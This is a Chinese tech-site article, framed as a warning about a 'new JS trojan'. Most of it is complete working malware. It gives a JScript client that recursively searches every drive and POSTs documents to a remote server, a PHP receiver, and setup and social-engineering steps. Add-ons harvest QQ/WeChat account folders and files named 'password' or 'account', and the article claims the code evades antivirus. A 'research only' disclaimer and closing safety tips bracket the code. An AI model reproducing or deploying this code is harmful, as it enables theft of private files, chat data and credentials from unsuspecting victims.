您当前的位置:首页 > 电脑百科 > 安全防护 > 木马

快来看看你的电脑中毒了吗?新型木马曝光

时间:2021-09-10 10:26:59  来源:  作者:极客小君

导读:在日常电脑使用中,很多小伙伴都会从互联网下载网站或是QQ、微信等聊天软件中进行传输安装软件、文件等。略知网络安全的朋友们都会比较谨慎所安装的软件是否安全,比如说通过杀毒软件杀毒、通过对文件的后缀、图标、大小等分析,那么这样的操作真的就是安全的吗?

相信大家都对远程木马有所了解,名气最大的应该是灰鸽子远程木马,它就是通过后缀为exe文件诱导用户点击,从而造成个人隐私文件的泄漏甚至金钱损失

快来看看你的电脑中毒了吗?新型木马曝光

灰鸽子木马界面

随着互联网安全工具越来越成熟,对之前的exe木马文件的云查杀越发严格,基本上做过免杀的程序也挺不了多久就被发现,所以像这类的远程木马已经慢慢消失成为历史。

快来看看你的电脑中毒了吗?新型木马曝光

 

但是道高一尺魔高一丈,最新的远程木马通过新的途径新的方式悄然出现,它就是利用js代码来猎取你的电脑文件,更为可怕的是它可以通过逻辑代码自动地进入电脑文件中搜索预设好的文件后缀进行分析获取,比如说代码只想获取你的聊天记录,那么它会通过检索查找到QQ、微信等数据库文件上传获取、也可以通过查找相册等目录获取照片等隐私文件,危害还是非常大的,本期文章小君就对js木马进行分析,看它是如何获取文件的。

快来看看你的电脑中毒了吗?新型木马曝光

 

首先js木马的特点:

优点:

  1. 文件小、js后缀善于隐藏,目前杀毒软件对它用处不大,可完全通过360安全。
  2. 危害大,可以自动搜索目标文件获取。

缺点:

QQ传输引导中马时会自动改后缀名称,所以很大程度上是需要通过将js代码进行压缩后引导安装。

使用方法:

首先需要木马使用者搭建一台服务器,当然也可以是虚拟空间、vps等都是可以的,然后搭建php环境,大家都知道像灰鸽子这类远程木马都有客户端和服务端两部分,那么js木马同样也有,需要在PHP环境下上传服务端代码server.php文件,在网站目录下新建一个目录upload用于获取中马者的隐私文件,接下来就是将js代码也就是木马的客户端发送给被控者引导点击,如果成功点击,远程服务器将会开始不断收到上传的隐私文件。

快来看看你的电脑中毒了吗?新型木马曝光

效果图

代码分享:

js木马客户端代码如下:

var __POSTURL__ = 'http://www.xxx.com/server.php';

function UpFile(FilePath, FileName) {
        var Stream = new ActiveXObject('ADODB.Stream');
        Stream.Type = 1;
        Stream.Open();
        Stream.LoadFromFile(FilePath);
        var XHR = new ActiveXObject('Msxml2.XMLHTTP' || 'Microsoft.XMLHTTP');
        XHR.open('POST', __POSTURL__, false);
        XHR.setRequestHeader('fileName', FileName);
        XHR.setRequestHeader('enctype', 'multipart/form-data');
        XHR.send(Stream.Read());
        Stream.Close();
        return XHR.responseText
}
function GetDriveList() {
        var fso = new ActiveXObject("Scripting.FileSystemObject");
        var e = new Enumerator(fso.Drives);
        var re = [];
        for (; ! e.atEnd(); e.moveNext()) {
                if (e.item().IsReady) {
                        re.push(e.item().DriveLetter)
                }
        }
        return re
}
function GetFolderList(folderspec) {
        var fso = new ActiveXObject("Scripting.FileSystemObject");
        var f = fso.GetFolder(folderspec);
        var fc = new Enumerator(f.SubFolders);
        var re = [];
        for (; ! fc.atEnd(); fc.moveNext()) {
                re.push(fc.item())
        }
        return re
}
function GetFileList(folderspec) {
        var fso = new ActiveXObject("Scripting.FileSystemObject");
        var f = fso.GetFolder(folderspec);
        var fc = new Enumerator(f.files);
        var re = [];
        for (; ! fc.atEnd(); fc.moveNext()) {
                re.push([fc.item(), fc.item().Name])
        }
        return re
}
function Search(Drive) {
        var FolderList = GetFolderList(Drive);
        for (var i = 0; i < FolderList.length; i++) {
                Search(FolderList[i])
        }
        var FileList = GetFileList(Drive);
        for (var i = 0; i < FileList.length; i++) {
                if (/.(doc|docx|xls|xlsx)$/i.test(FileList[i])) {
                        UpFile(FileList[i][0], FileList[i][1])
                }
        }
}
function Load() {
        var WMIs = GetObject("winmgmts:\\.\root\cimv2");
        var Items = WMIs.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'wscript.exe'");
        var i = 0,
        rs = new Enumerator(Items);
        for (; ! rs.atEnd(); rs.moveNext()) {
                i++
        }
        if (i > 1) WScript.Quit(0);
        Items = WMIs = i = rs = null;
        var DriveList = GetDriveList();
        for (var i = 0; i < DriveList.length; i++) {
                Search(DriveList[i] + ":\\")
        }
}
Load();

PHP服务端代码:

<?php
if($_SERVER['REQUEST_METHOD'] == 'POST'){
        $fileName = uniqid(rand()) . '_' . iconv('utf-8', 'gbk', $_SERVER['HTTP_FILENAME']);
        print_r(file_put_contents("uploads/{$fileName}", $HTTP_RAW_POST_DATA));
}
?>

还可以通过对js代码的升级来实现更多新的功能

1、获取微信、QQ等隐私信息

function GetQQWechat() {
        var QQList = [];
        var WechatList = [];
        var QQPath = "C:\Users\" + USERNAME+ "\Documents\Tencent Files"
        var WechatPath = "C:\Users\" + USERNAME+ "\Documents\WeChat Files"
        var Patt = new RegExp(/[^\]+$/);
        if (FSO.folderExists(QQPath)) {
                var QQFolderList = GetFolderList(QQPath);
                if (QQFolderList) {
                        for (var i = 0; i < QQFolderList.length; i++) {
                                var QQFolderStr = QQFolderList[i];
                                var QQResult = Patt.exec(QQFolderStr);
                                var QQ = "";
                                if (QQResult) QQ = QQResult[0];
                                if (QQ == "All Users") continue;
                                QQList.push(QQ);
                        }
                }
        }
        if (FSO.folderExists(WechatPath)) {
                var WechatFolderList = GetFolderList(WechatPath);
                if (WechatFolderList) {
                        for (var i = 0; i < WechatFolderList.length; i++) {
                                var WechatFolderStr = WechatFolderList[i];
                                var WechatResult = Patt.exec(WechatFolderStr);
                                var Wechat = "";
                                if (WechatResult) Wechat = WechatResult[0];
                                if (Wechat == "All Users") continue;
                                WechatList.push(Wechat);
                        }
                }
        }
        return {"QQList":QQList, "WechatList":WechatList}
}

2、通过政策表达式获取文件名含"账号"、"密码"、"account"、"password"等文件

 if (/((账号|密码|password|passwd|account)+(.*)*.(txt|doc|docx|xls|xlsx)$)|(.(JPG|PNG)$)/.test(FileList[i][1])) {
    UpFile(FileList[i][0], FileList[i][1])
}

3、获取目标电脑用户名

function GetUserName() {
        var WshNetwork = new ActiveXObject("WScript.Network"); 
        var UserName = WshNetwork.UserName;
        return UserName; 
}

XHR.setRequestHeader('userName', USERNAME);

以上代码仅供研究,请勿非法利用!

结语:

看到这里是不是感觉自己的电脑并非那么的安全,我们在日常使用中,首先要有一定的安全意识,任何文件的传输,不要不做分析就随意双击打开,养成使用杀毒软件查杀的习惯,虽然并不能保证完全被查杀,但最起码也能过滤百分之九十以上的木马文件,剩下的就要靠自己的分析和判断,莫名其妙来源文件不接,图标异常的不接、文件大小与所需要内容不对等的文件不接。感谢您阅读本期网络安全普及文章,如果本文对您有所帮助请关注点赞哟,如果在网络安全中遇到问题请在评论区或私信留言。



Tags:木马   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
新型Android恶意木马程序伪装成数十款街机、射击和策略游戏,通过华为应用市场AppGallery进行分发,从而窃取设备信息和用户的手机号码,全球目前至少有930万台Android设备被该恶...【详细内容】
2021-12-01  Tags: 木马  点击:(24)  评论:(0)  加入收藏
一、知识点详解msfconsole,进入msf控制端show options,查看设置的ip地址和端口号是否写入run,根据写入的ip地址和端口号,开启监听服务help,在进入安卓手机的控制端,查看可以使用的...【详细内容】
2021-10-08  Tags: 木马  点击:(63)  评论:(0)  加入收藏
导读:在日常电脑使用中,很多小伙伴都会从互联网下载网站或是QQ、微信等聊天软件中进行传输安装软件、文件等。略知网络安全的朋友们都会比较谨慎所安装的软件是否安全,比如说通...【详细内容】
2021-09-10  Tags: 木马  点击:(58)  评论:(0)  加入收藏
编程语言: Nodejs知识要点: 文件的16进制解析木马我们见得多, 以前多数会以EXE可执行文件形式出现后来, 开始在Web上出现, 主要侵扰Web页面, 给正常的HTML/ASP等加上木马代...【详细内容】
2021-08-04  Tags: 木马  点击:(69)  评论:(0)  加入收藏
一、网络配置1、首先保证所有的设备(kali虚拟机和安卓手机)都连接到同一个局域网(Wi-Fi)下。在现实生活中,黑客通常找寻免费的公共Wi-Fi,来保证有足够多的安卓手机供其渗透。所以...【详细内容】
2021-08-02  Tags: 木马  点击:(215)  评论:(0)  加入收藏
近日,公安部网安局微信公众号发布了一则重要提醒:警惕身边的共享充电宝陷阱。警方表示,我们常使用的共享充电宝可能被植入木马程序,一旦插入手机,可能就会盗取个人信息。360网络...【详细内容】
2020-12-08  Tags: 木马  点击:(144)  评论:(0)  加入收藏
电脑木马病毒是目前比较流行的病毒文件通过特定的程序来控制另一台电脑木马与其他病毒不一样的是,它不会传染到其他电脑只会在你的电脑破坏和窃取文件,甚至会控制你的电脑主...【详细内容】
2020-10-27  Tags: 木马  点击:(200)  评论:(0)  加入收藏
电脑木马病毒常常善于伪装,经常潜伏在各种知名工具中通过各大下载站分发传播,比较多见的就是各种破解工具,一般使用的时候那些破解工具会提示让添加杀毒软件白名单,这里很大一部...【详细内容】
2020-09-23  Tags: 木马  点击:(168)  评论:(0)  加入收藏
一句话木马是Webshell的一种,那什么是Webshell?先讲讲什么是shell。Shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执...【详细内容】
2020-08-11  Tags: 木马  点击:(383)  评论:(0)  加入收藏
本周初的时候,忽然发现部门服务器C盘动不动就满了,导致应用程序全都停止响应了。当时很是奇怪,C盘剩余的十几个G不应该在两天之内就被占满了呀。怀疑归怀疑,因为太忙,就没太管。...【详细内容】
2020-07-19  Tags: 木马  点击:(97)  评论:(0)  加入收藏
▌简易百科推荐
log4j漏洞的形成原因已经有很多分析文章了,这里说一说我是如何在了解到有漏洞后,跟进漏洞产生原理的,以及发现的一些绕WAF tips跟进漏洞产生原因的思路如何发现漏洞产生的原因...【详细内容】
2021-12-22  IT野涵    Tags:og4j漏洞   点击:(6)  评论:(0)  加入收藏
新型Android恶意木马程序伪装成数十款街机、射击和策略游戏,通过华为应用市场AppGallery进行分发,从而窃取设备信息和用户的手机号码,全球目前至少有930万台Android设备被该恶...【详细内容】
2021-12-01  极牛网    Tags:恶意木马   点击:(24)  评论:(0)  加入收藏
导读:在日常电脑使用中,很多小伙伴都会从互联网下载网站或是QQ、微信等聊天软件中进行传输安装软件、文件等。略知网络安全的朋友们都会比较谨慎所安装的软件是否安全,比如说通...【详细内容】
2021-09-10  极客小君    Tags:木马   点击:(58)  评论:(0)  加入收藏
编程语言: Nodejs知识要点: 文件的16进制解析木马我们见得多, 以前多数会以EXE可执行文件形式出现后来, 开始在Web上出现, 主要侵扰Web页面, 给正常的HTML/ASP等加上木马代...【详细内容】
2021-08-04  代码大叔    Tags:特洛伊木马   点击:(69)  评论:(0)  加入收藏
恶意代码的分类包括计算机病毒、蠕虫、木马、后门、Rootkit、流氓软件、间谍软件、广告软件、僵尸(bot) 、Exploit等等,有些技术经常用到,有的也是必然用到。恶意代码常见功能...【详细内容】
2020-12-14      Tags:恶意代码   点击:(131)  评论:(0)  加入收藏
近日,公安部网安局微信公众号发布了一则重要提醒:警惕身边的共享充电宝陷阱。警方表示,我们常使用的共享充电宝可能被植入木马程序,一旦插入手机,可能就会盗取个人信息。360网络...【详细内容】
2020-12-08      Tags:木马   点击:(144)  评论:(0)  加入收藏
前言这次检查并不是帮我,而是帮一位粉丝。当时私聊我的时候我还挺高兴的,至少得到了认可。 这次文章我也征求了他的同意才发出来的。也请别说我侵犯他人隐私。 过程早上醒...【详细内容】
2020-08-31      Tags:程序后门   点击:(149)  评论:(0)  加入收藏
本周初的时候,忽然发现部门服务器C盘动不动就满了,导致应用程序全都停止响应了。当时很是奇怪,C盘剩余的十几个G不应该在两天之内就被占满了呀。怀疑归怀疑,因为太忙,就没太管。...【详细内容】
2020-07-19      Tags:木马   点击:(97)  评论:(0)  加入收藏
能直接从账户盗走钱财的银行木马,一直被称为是恶意软件中最邪恶的一种。近日,360安全大脑独家发布《深度揭露Anubis移动银行木马》报告,全面披露了近期瞄准全球300多国家银行...【详细内容】
2020-04-24      Tags:木马突袭   点击:(130)  评论:(0)  加入收藏
相信大家都有这么一个经历,我们使用电脑,在某些来历不明的网站上下载一些程序,然后打开这些程序的时候,可能会出现以下的情况。 嗯没错,你电脑中的杀毒软件会给你发出温馨的提示,...【详细内容】
2020-04-07      Tags:木马病毒   点击:(169)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条